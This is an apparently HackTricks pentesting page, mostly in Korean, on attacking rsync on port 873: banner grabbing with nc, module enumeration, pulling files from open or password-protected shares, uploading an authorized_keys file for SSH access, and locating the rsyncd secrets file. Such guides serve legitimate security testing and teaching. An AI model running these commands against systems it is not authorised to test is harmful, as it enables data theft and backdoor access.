# 873 - Pentesting Rsync {{#include ../banners/hacktricks-training.md}} ## **기본 정보** From [wikipedia](https://en.wikipedia.org/wiki/Rsync): > **rsync**는 컴퓨터와 외장 하드 드라이브 간 및 [네트워크화된](https://en.wikipedia.org/wiki/Computer_network) [컴퓨터](https://en.wikipedia.org/wiki/Computer) 간에 [파일](https://en.wikipedia.org/wiki/Computer_file)을 효율적으로 [전송](https://en.wikipedia.org/wiki/File_transfer)하고 [동기화](https://en.wikipedia.org/wiki/File_synchronization)하기 위한 유틸리티로, [수정 시간]()과 파일의 크기를 비교하여 작동합니다.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) 일반적으로 [유닉스 계열](https://en.wikipedia.org/wiki/Unix-like) [운영 체제](https://en.wikipedia.org/wiki/Operating_system)에서 발견됩니다. rsync 알고리즘은 [델타 인코딩](https://en.wikipedia.org/wiki/Delta_encoding)의 일종이며, 네트워크 사용량을 최소화하는 데 사용됩니다. [Zlib](https://en.wikipedia.org/wiki/Zlib)는 추가적인 [데이터 압축](https://en.wikipedia.org/wiki/Data_compression)을 위해 사용될 수 있으며,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) [SSH](https://en.wikipedia.org/wiki/Secure_Shell) 또는 [stunnel](https://en.wikipedia.org/wiki/Stunnel)은 보안을 위해 사용될 수 있습니다. **기본 포트:** 873 ``` PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` ## 열거 ### 배너 및 수동 통신 ```bash nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @RSYNCD: 31.0 <--- Then you send the same info #list <--- Then you ask the sever to list raidroot <--- The server starts enumerating USBCopy NAS_Public _NAS_Recycle_TOSRAID <--- Enumeration finished @RSYNCD: EXIT <--- Sever closes the connection #Now lets try to enumerate "raidroot" nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` ### **공유 폴더 열거하기** **Rsync 모듈**은 **비밀번호로 보호될 수 있는 디렉토리 공유**로 인식됩니다. 사용 가능한 모듈을 식별하고 비밀번호가 필요한지 확인하기 위해 다음 명령어를 사용합니다: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` 일부 공유가 목록에 나타나지 않을 수 있으며, 이는 숨겨져 있을 수 있습니다. 또한, 일부 공유에 접근하는 것은 특정 **자격 증명**에 제한될 수 있으며, 이는 **"Access Denied"** 메시지로 표시됩니다. ### [**Brute Force**](../generic-hacking/brute-force.md#rsync) ### 수동 Rsync 사용 **모듈 목록**을 얻은 후, 작업은 인증이 필요한지 여부에 따라 달라집니다. 인증 없이 **목록**을 작성하고 공유 폴더에서 로컬 디렉토리로 파일을 복사하는 것은 다음을 통해 수행됩니다: ```bash # Listing a shared folder rsync -av --list-only rsync://192.168.0.123/shared_name # Copying files from a shared folder rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` 이 프로세스는 **재귀적으로 파일을 전송**하며, 파일의 속성과 권한을 유지합니다. **자격 증명**을 사용하면 공유 폴더에서 목록을 작성하고 다운로드할 수 있으며, 이때 비밀번호 입력 프롬프트가 나타납니다: ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` 내용을 **업로드**하려면, 접근을 위한 _**authorized_keys**_ 파일과 같은 파일을 사용하세요: ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` ## POST rsyncd 구성 파일을 찾으려면 다음을 실행하십시오: ```bash find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` 이 파일 내에서 _secrets file_ 매개변수는 rsyncd 인증을 위한 **사용자 이름과 비밀번호**가 포함된 파일을 가리킬 수 있습니다. ## References - [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html) {{#include ../banners/hacktricks-training.md}}